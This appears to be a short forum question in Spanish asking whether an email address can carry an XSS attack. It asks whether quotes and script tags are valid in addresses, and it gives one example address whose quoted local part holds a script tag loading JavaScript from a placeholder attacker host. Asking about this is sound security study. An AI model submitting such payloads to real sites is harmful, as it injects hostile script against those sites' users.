Me pregunto si una dirección de correo electrónico se puede utilizar para los ataques XSS.

Supongamos que hay un sitio web donde se puede registrar y da su dirección de correo electrónico. Si uno quiere atacar el sitio web dado, él o ella puede crear una dirección de correo electrónico, como esta:

"<script src=//my.evil.site/is/attacking/u.js></script>"@stmpname.com

y luego usar esta dirección de correo electrónico para atacar el sitio web.

¿Se permite la cita o la etiqueta de script en una dirección de correo electrónico?